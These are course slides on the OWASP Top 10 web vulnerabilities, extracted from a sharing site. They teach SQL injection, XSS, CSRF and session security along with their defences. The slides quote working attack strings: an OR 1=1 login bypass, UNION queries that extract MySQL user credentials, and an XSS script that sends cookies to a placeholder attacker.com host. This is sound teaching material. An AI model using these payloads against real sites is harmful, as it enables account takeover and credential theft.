Application Security Chap2-OWASP Top 10 Web Application Vulnerabilities

-
Application Security
Chap2- OWASP Top 10 Web Application Vulnerabilities
Dr. Nihel Ben Youssef
Références
OWASP Top 10 Web App Vulneralities.
https://www.owasp.org/images/7/72/OWASP_Top_10-2017_%28en%29.pdf.pdf
https://www.netsparker.com/blog/web-security
Dr. Nihel Ben Youssef Application Security Chap2- OWASP Top 10 Web Application Vulnerabilities
1 / 37
Application Security - Course Outline
1 OWASP/WASC
2 OWASP top 10 Project
3 Injection
Error Based SQL injection
Tautological Injection
UNION SQL Injection
Blind-Based SQL Injection
Boolean-Based SQL Injection
Time-Based SQL Injection
SQL injection Mitigation/Prevention
User Input Validation
Prepared Statements
4 XSS Cross Site Scripting
Reflected XSS
Stored XSS
DOM-Based XSS
XSS Mitigation/Prevention
5 CSRF Cross Site Request Forgery
6 Broken Authentication and Session Management vulnerability

Broken Authentication
Session Management Vulnerability
7 Other vulnerabilities
OWASP/WASC
There are two main non-profit organizations devoted to the creation,
refinement and promotion of Internet security standards.The projects they
propose include researching, discussing, and publishing information about
Web application security issues:
WASC(Web Application Security Consortium) founded in 2004 by Jeremiah
Grossman and Robert Auger
OWASP(Open Web Application Security Project) founded in 2001 by Mark
Curphey and Dennis Groves
MITRE is a government-funded organization that puts out standards to be used by
the information security community.
CWE "(Common Weakness Enumeration) a community-developed list of
common software security weaknesses not related to a product or system.
https://cwe.mitre.org/
CVE (Common Vulnerabilities and Exposures) a list of entries—each
containing an identification number, a description, and at least one public
reference—for publicly known cybersecurity vulnerabilities related to a
product or a service.https://cve.mitre.org/
CVSS(Common Vulnerabilities Scoring System) A vendor-agnostic industry
open-standard designed to convey vulnerability
severity.http://www.first.org/cvss
3 / 37
OWASP top 10 Project
OWASP TOP 10 Project is the de facto application security standard.
The goal is to raise awareness amongst developers and managers. Since
2003, OWASP publish at regular intervals, The Ten Most Critical Web
Application Security Risks.
Source:https://www.owasp.org/images/
7/72/OWASP_Top_10-2017.pdf
4 / 37
Injection
Injection flaws, such as SQL, NoSQL, OS, and LDAP injection, occur
when untrusted data is sent to an interpreter as part of a command or
query. The attacker’s hostile data can trick the interpreter into executing
unintended commands or accessing data without proper authorization.
OWASP"
SQL Injection is an attack that exploits non-validated input

vulnerability in web application to gain unauthorised access to a
database or to retrieve information from the database (Authentication
bypass, information disclosure, compromised availability of data...), insert
or even delete information.
There are two main classes of SQL injection:

Error-Based SQL injection: Forces the database to perform some commands in
which the result will be an error. We can cite Tautology, Union SQL injection
Blind SQL injection: used to dispaly a generic custom page rather than a useful
error message. We can cite Time Delay, Boolean Exploitation
5 / 37
Error-Based SQL injection- Tautological Injection(1)
Tautological Injection consists on changing the condition in the WHERE
clause of the SQL query so that it always evaluates to true. It is most
commonly used for bypassing authentication and extracting data. In the
example below, The field is set to “’ OR 1 = 1 #” which forces the WHERE clause to
evaluate to true.
select * from Cred where login=’ ’or 1=1 #’ and pass= ”
6 / 37
Error-Based SQL injection- Tautological Injection(2)
In the example below, the tautological injection permits to extract all rows
in Cred SQL Table in JSON format.
7 / 37
Error-Based SQL injection - UNION SQL injection(1)
UNION-based SQL injection allows to extract information from the
database using the UNION operator. The attacker crafts a SELECT
statement similar to the original query(Same structure of the original table)
guessed through Blind SQL injection techniques. For example, we can
extract MySQL version.
select * from Cred where login=’ nihel’ union Select null,@@version from mysql.user #’
and pass= ”
8 / 37
Error-Based SQL injection -UNION SQL injection(2)
Using previousely Blind SQL injection techniques, the attacker gathers
information about the number of columns in the first query and their data
type. For example, Using UNION SQL injection and knowing original SQL
table Structure and the MySQL Database version (In this case 5.7.25 ) ,
the attacker could extract all MySQL users credentials (login,pass) from
the valid table name mysql.user .
select * from Cred where login=’ nihel’ union Select user,authentication_string from
mysql.user #’ and pass= ”
9 / 37
Blind SQL injection- Time-Based SQL Injection(1)
Time-Based SQL injection is a type of blind SQL injection. The attacker
gathers information according to the amount of time spent by the database
before returning results.
For example, an attacker can guess each letter of a specified data through
the following way: If the first letter of the login colomn is "n"
(ASCII=110), sleep for 10 seconds.
10 / 37
Blind SQL injection- Time-Based SQL Injection(2)
As second example, an attacker can guess the version of the
DBMS(Database Management System): If the version starts by 5, sleep for
10 seconds.
11 / 37
Blind SQL injection- Boolean-Based SQL Injection(2)
Boolean-Based SQL injection is a technique that consists on asking

questions to the Database. Accroding the the answer, true or false, the
attacker obtain usefull information .
In the example below, using the injected clause order by the attacker
guesses that the number of colomns in the orginal table is 2.
12 / 37
SQL injection Mitigation/Prevention(1)
Many practices (Whitelist/Blacklist approaches)can be used to prevent
SQL injection. Among them:
Input Validation: Validating user’s input from a HTML form.
Input Filtering: Check and sanitize user input. For example, phone numbers
should be filtered to allow only the digits allowed in a phone number. In this
category, we can use functions and library offered by the developpement
framework. For example, in PHP we can use the function filter_var in php’s
filter library and son on. We can also use Regular expressions to matching
patterns in string data. In PHP we can use preg_match function.
Input Escaping: Ensuring that any dangerous characters such as áre not
passed to the SQL statement. Escaping consists on prepending backslash to
special characters. Examples of functions that could be used in PHP:
addslashes, mysql_escape_string, magic quotes,...
User Input Filtering

13 / 37
SQL injection Mitigation/Prevention(2)
Prepared Statements/Parametrized queries: Dynamic queries fail to differentiate
between application code and data. Prepared statements force developers to use
static SQL query and then pass in the external input as a parameter to query. By
this way, we ensure that the code and data are separeted. The strenghts of this
practice are both: Optimization and Security. Optimization because prepared
statement can be use multiple times just by replacing the parameters and
executing it again.Security because when we the values are injected in the queries,
they are automatically escaped.
PHP offers a new database library called PHP Data Objects (PDO) to use drivers
for many different database types, and supports prepared statements feature.
Prepared Statement
14 / 37
XSS Cross Site Scripting
XSS is a web vulnerability that consists on bypassing the SOP (Same
Origin Policy) concept. SOP is among the most important security
principles in every web browser. It forbids cross-origin content.
For example, the page https://www.banque.com/index.html can access
content from https://www.banque.com/about.html while
https://www.attacker.com/info.php should not access content from
https://www.banque.com/about.html.
There are three main classes of XSS:
Reflected XSS: Happens when the user input from POST data for instance is
reflected on the page without being stored. The attacker can send a crafted link
to the victim, inserting a payload (Recording the user’s current cookie ) and
redirecting to a website controlled by the attacker.
Stored XSS: Happens when the malicious payload is saved ( database,
filesystem..) and then is executed when a user opens the page. For example, The
attacker could place a payload in a forum or social media website, vulnerable to
stored XSS.The payload will be executed each time the victim opens it.
Dom-Based XSS: Appears in the DOM (Document Object Model) instead of part
of the HTML.
15 / 37
Reflected XSS
XSS occures when HTML code is gen-

erated dynamically, and the user input
is not sanitized or encoded and is re-
flected on the page. In this case, an
attacker could insert his own HTML code
(javascript) running under the site’s con-
text!(Bypass SOP). The injected script is
able to access other pages on the same
domain (Read session identifier information
and private information stored in cookies and
use them to send requests on behalf of the
victim, stealing or hijacking the session)
<script>document.location=’http://www.attacker.com/hackerget.php?cook=
+ encodeURIComponent(document.cookie)</script>
16 / 37
Stored XSS
A Stored XSS Vulnerabil-

ity happens when the mali-
cious payload is saved by the
attacker via a vulnerable page
(in a Database or Filesystem..)
before being triggered every
time a victim visits the stored
code. In our illustrative ex-
ample, The vulnerable PHP
code stores the user’s input
(Comments) into a file "com-
ments.txt". An attacker stores
a malicious script. When
a victim adds comments, the
script will be reflected.
17 / 37
DOM-Based XSS
One of the biggest differ-
ences between DOM-Based
XSS and Reflected or Stored
XSS vulnerabilities is that
DOM-Based XSS cannot be
stopped by server-side fil-
ters. The reason That the vul-
nerability payload is generally
written after the "#" (hash)
of the URL which will never be
sent to the server (In Response
Page).
Many modern browsers like Firefox
version 40 or above, Opera, Safari
and Google Chrome added security
features to fix DOM-Based XSS.
In the example below, we use ex-
plicetly unescape function to de-
code URI and bypass Firefox control
in order to show the attack execu-
tion.
18 / 37
XSS Mitigation/Prevention(1)
Many practices can be used to
prevent XSS. Among them:
Sanitization: Clean up the
user’s input by removing
irrelevant/dangerous
characters. For example, The
PHP function strip_tag
replaces <script>alert(’hi
name’)</script> by alert(’hi
name’)
Output Encoding: convert
untrusted input into a safe
form where the input is
displayed as data to the user
without executing as code in
the browser. For example,
the use of the PHP function
htmlspecialchars is
recommanded.
19 / 37
XSS Mitigation/Prevention(2)
Cookie’s HTTPOnly Flag: To mitigate the impact of XSS flaw, it is

recommanded to set HTTPOnly flag on the "session" cookie To
disable the access of Cookie’s information via JavaScript.
Content Security Policy: Preventing XSS attacks by specifying
which content should be loaded in web applications. CSP can be
activated by using HTTP response headers or html meta elements
(whitelisting specific origins). For example, following a whitelist
allowing inline scripts and all scripts loaded from
https://www.banque.com:
Content-Security-Policy: script-src ’self’ https://www.banque.com
20 / 37
CSRF Cross Site Request Forgery
CSRF also known a Sea Surf is an attack that forces an end users to
execute unwanted actions on a web application in which they’re currently
authenticated (www.bank.tn). Using generally social engineering (such as
sending a link via email or chat), an attacker may trick the users of a web
application into executing actions of the attacker’s choosing ( transferring
funds, changing their email address,etc). If the victim is an administrative
account, CSRF can compromise the entire web application.
21 / 37
CSRF Cross Site Request Forgery
This figures illustrates CSRF scenario.
22 / 37
CSRF Codes (HTML/PHP pages)
Authentication HTML Form

Page (www.banque.com)
Authentication PHP Page
(www.banque.com)
Transfer HTML Form Page

(www.attacker.com)
Transfer HTML Form Page
(www.banque.com)
23 / 37
CSRF Mitigation: CSRF Token
Token based Mitigation is one of the most popular and recommended
methods to mitigate CSRF. When a Web application formulates a request,
the application should include a hidden input parameter with a common
name such as "CSRFToken". The value of this token must be randomly
generated such that it cannot be guessed by an attacker.
24 / 37
CSRF Mitigation (HTML/PHP pages)
Successfull Attack
Cookie stored in victim’s browser
Secure Transfer HTML Form

Page (www.banque.com)
Secure Transfer PHP Page
(www.banque.com)
25 / 37
Broken Authentication and Session Management
vulnerability
Definitions from OWASP Authentication Cheat Sheet

Authentication is the process of verification that an individual, entity
or website is who it claims to be. Authentication in the context of web
applications is commonly performed by submitting a user name or ID
and one or more items of private information that only a given user
should know.
Session Management is a process by which a server maintains the
state of an entity interacting with it. This is required for a server to
remember how to react to subsequent requests throughout a
transaction. Sessions are maintained on the server by a session
identifier which can be passed back and forward between the client
and server when transmitting and receiving requests. Sessions should
be unique per user and computationally very difficult to predict.
26 / 37
Authentication General Guidelines(1)
Strong password Policy

Accroding to NIST SP800-132, a strog password should be greater
than 10 characters.
Password must include at least 3 out of the following complexity rules:
at least 1 uppercase character (A-Z)

at least 1 lowercase character (a-z)
at least 1 digit (0-9)
at least 1 special character (punctuation)
Secure Recovery Mechanism: As best practices, if Passwords are
forgotten, a feature should asks the user for multiple pieces of hard
data previousely collected with no drop-down list of questions
provided. A limit should be defined to the number of guesses
attempted. After locking out the user’s account, the application
should use and out-of-band communication channel like SMS or some
other multi-factor token challenge ...
27 / 37
Secure Password Storage

By hashing the passwords with a hash such as SHA-512, even giant
passwords are reduced to 512 bits. By this way, We can avoid DOS
situation.
Before storing the passwords. It is recommended to use a
cryptographically strong credential-specific salt and an adaptive one
way function using Salting and Stretching techniques. like Bcrypt,
Scrypt, PBKDF2 and Argon2. Use cryptographically-strong random
data (Salting). Salting prevents crackers from producing a single
dictionary of hashed password to crack passwords. Key stretching
makes it more difficult to crack specific hashed passwords.
28 / 37
Secure Password Transmis-

sion
The login page and all sub-
sequent authenticated pages
must be exclusively accessed
over TLS(Transport Layer
Protection) or other strong
transport.
29 / 37
Authentication and Error Messages A web application should
respond in a generic manner. In Authentication phase, incorrect error
messages can be used for the purposes of user ID and password
enumeration. For example, "Login for User Nihel: invalid password"
should be replaced by "Login failed; Invalid userID or password"
Re-authentication for Sensitive Features Using active sessions, an
attacker may be able to execute sensitive transactions through a CSRF
or XSS attack without needing the user’s current credentials. It is
recommended to require another authentication page before updating
sensitive account information.
Enable logging and monitoring of authentication functions In
order to detect attacks / failures on a real time basis, all password and
account failures should be logged and reviewed.
Prevent Brute Force Attacks Password lockout mechanisms. If
more than a predefined number of unsuccessful login attempts are
made, the account shoud be lock out.
30 / 37
Multi-Factor Authentication Ac-

croding to OWASP recommanda-
tions, the application should imple-
ment, where possible, multi-factor
authentication(MFA) or at least
2FA( two-factor Authentication) to
prevent automated, credential stuff-
ing, brute force, and stolen creden-
tial re-use attacks. For example,
one can use Google Authetication
app a free application available on
Android, iOS/Apple, BlackBerry, or
Windows mobile devices, and other
third party APIs/Apps. Rather than
Password authentication, a Time-
based OTP(One Time Password) is
required.
31 / 37
Session Management Vulnerability
A web session is a sequence of HTTP request and response

transactions associated to the same user. Web applications can
provide session capabilities both pre and post authentication. keeping
track of anonymous users after the very first user request for
maintaining the user language preference for example. Or make use of
sessions once the user has authenticated in order to identify the user
on any subsequent requests.
The session ID or token binds the user authentication credentials (in
the form of a user session) to the user HTTP traffic and the
appropriate access controls enforced by the web application.
The disclosure, capture, prediction, brute force, or fixation of the
session ID will lead to session hijacking (or sidejacking) attacks, where
an attacker is able to fully impersonate a victim user in the web
application
32 / 37
Session Management Guidelines(1)
The session ID names used by the most common web application

development frameworks (PHPSESSID (PHP), JSESSIONID
(J2EE)...) can be easily fingerprinted disclosing the technologies and
programming languages used.It is recommended to change the default
session ID name to a generic name, such as MyID.With PHP, we can
use session_name()
The use of cookies for session ID exchange management is
recommended. Submitting a session ID as a URL parameter should be
avoided due to session fixation attack.
It is mandatory to use an encrypted HTTPS (SSL/TLS) connection
for the entire web session. The Secure cookie attribute must be
used to ensure the session ID is only exchanged through HTTPS.
The HttpOnly cookie attribute should be set to prevent session ID
stealing through XSS attacks.
33 / 37
The Session ID should be renewed after Any Privilege Level Change

(authentication process,password changes, permission changes or
switching from a regular user role to an administrator role) to prevent
session fixation. InPHP, we can use session_start() and
session_regenerate_id()
It is mandatory to set expiration timeouts for every session to
minimize the time period an attacker can launch attacks over active
sessions and hijack them.
It is mandatory for the web application to take active actions when the
session expires, or the user actively logs out. For example, we can use
HttpSession.invalidate() (J2EE) or session_destroy()/unset()
(PHP).
JavaScript code can be used to automatically logout client sessions
after the idle timeout expires and redirecting the user to the logout
page/
34 / 37
35 / 37
Other Vulnerabilities in OWASP TOP10
(https://www.owasp.org/index.php/Top_10-
2017_Top_10)
Sensitive Data Exposure A web applications and APIs may not protect
sensitive data (password, credit card number, PII) . Generally, that collecting and
processing data should respect privacy laws, e.g. EU’s General Data Protection Regulation
(GDPR), Attackers may use them to conduct credit card fraud, identity theft, or other
crimes. So, data should be classified and controlled, sensitive data encrypted in transit
and at rest. Algotithms and protocols updated , secure key management used...
Broken Access Control A web application may not enforce access controls.
Attackers could act outside of their intended permissions witch lead to unauthorized
information disclosure, modification or destruction of all data, or performing a business
function outside of the limits of the user. So, we should deny by default the access to non
public resources, managing ownerships,Disable web server directory listing , log access
control failure...
36 / 37
Other Vulnerabilities in OWASP TOP10
(https://www.owasp.org/index.php/Top_10-
2017_Top_10)
Security Misconfiguration This vulnerability usually caused by insecure default
configurations (OS, frameworks, applications, librairies), incomplete configurations,
misconfigured HTTP headers, and verbose error messages containing sensitive
information. they must be patched/upgraded in a timely fashion. So,we should provide a
repeatable hardening process and a management process including tasks to review and
update the configurations appropriate to all security notes, updates and patches.
Insufficient logging and monitoring If logins, failed logins, suspicious
activity, thresholds and response escalation processes and high-value transactions are not
logged. The application is unable to detect, escalate, or alert for active attacks in real
time or near real time. Most breach studies show time to detect a breach is over 200 days,
typically detected by external parties rather than internal processes or monitoring. So, it is
recommended to Establish effective logging, monitoring and alerting such that suspicious
activities are detected and responded to in a timely fashion and adopt an incident
response and recovery plan such as such as NIST 800-61 rev 2 or later.
37 / 37

Application Security Chap2-OWASP Top 10 Web Application Vulnerabilities

Hochgeladen von

Dokumentinformationen

Originaltitel

Copyright

Verfügbare Formate

Dieses Dokument teilen

Dokument teilen oder einbetten

Freigabeoptionen

Stufen Sie dieses Dokument als nützlich ein?

Sind diese Inhalte unangemessen?

Copyright:

Verfügbare Formate

Application Security Chap2-OWASP Top 10 Web Application Vulnerabilities

Hochgeladen von

Copyright:

Verfügbare Formate

-

Dr. Nihel Ben Youssef

2 OWASP top 10 Project

5 CSRF Cross Site Request Forgery

6 Broken Authentication and Session Management vulnerability

SQL Injection is an attack that exploits non-validated input

There are two main classes of SQL injection:

Boolean-Based SQL injection is a technique that consists on asking

User Input Filtering

XSS occures when HTML code is gen-

A Stored XSS Vulnerabil-

Cookie’s HTTPOnly Flag: To mitigate the impact of XSS flaw, it is

Authentication HTML Form

Transfer HTML Form Page

Secure Transfer HTML Form

Definitions from OWASP Authentication Cheat Sheet

Strong password Policy

at least 1 uppercase character (A-Z)

Secure Password Storage

Secure Password Transmis-

Multi-Factor Authentication Ac-

A web session is a sequence of HTTP request and response

The session ID names used by the most common web application

The Session ID should be renewed after Any Privilege Level Change

Das könnte Ihnen auch gefallen